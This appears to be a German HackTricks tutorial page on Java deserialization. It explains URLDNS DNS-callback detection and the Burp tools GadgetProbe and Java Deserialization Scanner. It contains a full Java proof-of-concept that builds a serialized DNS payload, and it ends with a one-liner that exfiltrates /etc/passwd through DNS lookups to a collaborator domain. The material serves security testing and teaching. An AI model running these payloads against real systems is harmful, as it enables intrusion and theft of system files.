12 KiB
Java DNS Deserialization, GadgetProbe und Java Deserialization Scanner
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
DNS-Anfrage bei der Deserialisierung
Die Klasse java.net.URL
implementiert Serializable
, das bedeutet, dass diese Klasse serialisiert werden kann.
public final class URL implements java.io.Serializable {
Diese Klasse hat ein eigenartiges Verhalten. Aus der Dokumentation: “Zwei Hosts werden als gleichwertig betrachtet, wenn beide Hostnamen in die gleichen IP-Adressen aufgelöst werden können.”
Jedes Mal, wenn ein URL-Objekt irgendeine der Funktionen equals
oder hashCode
aufruft, wird eine DNS-Anfrage gesendet, um die IP-Adresse zu erhalten.
Den Funktionsaufruf hashCode
von einem URL-Objekt auszuführen, ist ziemlich einfach; es reicht aus, dieses Objekt in ein HashMap
einzufügen, das deserialisiert werden soll. Dies liegt daran, dass am Ende der readObject
-Funktion von HashMap
dieser Code ausgeführt wird:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[ ... ]
for (int i = 0; i < mappings; i++) {
[ ... ]
putVal(hash(key), key, value, false, false);
}
Es wird putVal
mit jedem Wert im HashMap
ausgeführt. Aber relevanter ist der Aufruf von hash
mit jedem Wert. Das ist der Code der hash
-Funktion:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
Wie Sie sehen können, wird beim Deserialisieren eines HashMap
die Funktion hash
mit jedem Objekt ausgeführt und während der hash
-Ausführung wird .hashCode()
des Objekts ausgeführt. Daher, wenn Sie ein HashMap
deserialisieren, das ein URL-Objekt enthält, wird das URL-Objekt .hashCode()
ausführen.
Jetzt schauen wir uns den Code von URLObject.hashCode()
an:
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
Wie Sie sehen können, wenn ein URLObject
.hashCode()
ausführt, wird hashCode(this)
aufgerufen. Eine Fortsetzung sehen Sie im Code dieser Funktion:
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
[ ... ]
Sie können sehen, dass ein getHostAddress
für die Domain ausgeführt wird, was eine DNS-Abfrage auslöst.
Daher kann diese Klasse missbraucht werden, um eine DNS-Abfrage zu starten, um zu demonstrieren, dass Deserialisierung möglich ist, oder sogar um Informationen zu exfiltrieren (Sie können das Ergebnis einer Befehlsausführung als Subdomain anhängen).
URLDNS Payload-Codebeispiel
Sie finden den URDNS-Payload-Code von ysoserial hier. Um es jedoch einfacher zu machen, wie man es codiert, habe ich mein eigenes PoC erstellt (basierend auf dem von ysoserial):
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);
//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}
class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
Mehr Informationen
- https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
- In der ursprünglichen Idee wurde die Commons Collections-Payload geändert, um eine DNS-Abfrage durchzuführen. Dies war weniger zuverlässig als die vorgeschlagene Methode, aber dies ist der Beitrag: https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/
GadgetProbe
Sie können GadgetProbe aus dem Burp Suite App Store (Extender) herunterladen.
GadgetProbe wird versuchen herauszufinden, ob einige Java-Klassen existieren auf der Java-Klasse des Servers, damit Sie wissen können, ob es anfällig für einige bekannte Exploits ist.
Wie funktioniert es
GadgetProbe verwendet die gleiche DNS-Payload des vorherigen Abschnitts, aber bevor die DNS-Abfrage ausgeführt wird, wird es versuchen, eine beliebige Klasse zu deserialisieren. Wenn die beliebige Klasse existiert, wird die DNS-Abfrage gesendet und GadgetProbe wird notieren, dass diese Klasse existiert. Wenn die DNS-Anfrage nie gesendet wird, bedeutet dies, dass die beliebige Klasse nicht erfolgreich deserialisiert wurde, also entweder nicht vorhanden ist oder nicht serialisierbar/exploitable ist.
Im GitHub hat GadgetProbe einige Wortlisten mit Java-Klassen, die getestet werden sollen.
Mehr Informationen
Java Deserialization Scanner
Dieser Scanner kann aus dem Burp App Store (Extender) heruntergeladen werden.
Die Erweiterung hat passive und aktive Funktionen.
Passiv
Standardmäßig prüft es passiv alle Anfragen und Antworten, die gesendet werden, um nach Java-serialisierten magischen Bytes zu suchen, und wird eine Warnung über eine Schwachstelle anzeigen, wenn eine gefunden wird:
Aktiv
Manuelles Testen
Sie können eine Anfrage auswählen, mit der rechten Maustaste klicken und Send request to DS - Manual Testing
.
Dann können Sie im Deserialization Scanner Tab --> Manual testing tab den Einsprungspunkt auswählen. Und den Test starten (Wählen Sie den entsprechenden Angriff je nach verwendeter Kodierung).
Auch wenn dies "Manuelles Testen" genannt wird, ist es ziemlich automatisiert. Es wird automatisch überprüfen, ob die Deserialisierung anfällig für irgendeine ysoserial-Payload ist, indem die auf dem Webserver vorhandenen Bibliotheken überprüft werden, und wird die anfälligen hervorheben. Um nach anfälligen Bibliotheken zu suchen, können Sie auswählen, Javas Sleeps, Sleeps über CPU-Verbrauch oder die Verwendung von DNS zu starten, wie zuvor erwähnt.
Exploiting
Sobald Sie eine anfällige Bibliothek identifiziert haben, können Sie die Anfrage an den Exploiting Tab senden.
In diesem Tab müssen Sie den Injektionspunkt erneut auswählen, die anfällige Bibliothek angeben, für die Sie eine Payload erstellen möchten, und den Befehl. Drücken Sie dann einfach die entsprechende Angriffs-Taste.
Java Deserialization DNS Exfil Informationen
Lassen Sie Ihre Payload etwas wie das Folgende ausführen:
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
Weitere Informationen
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.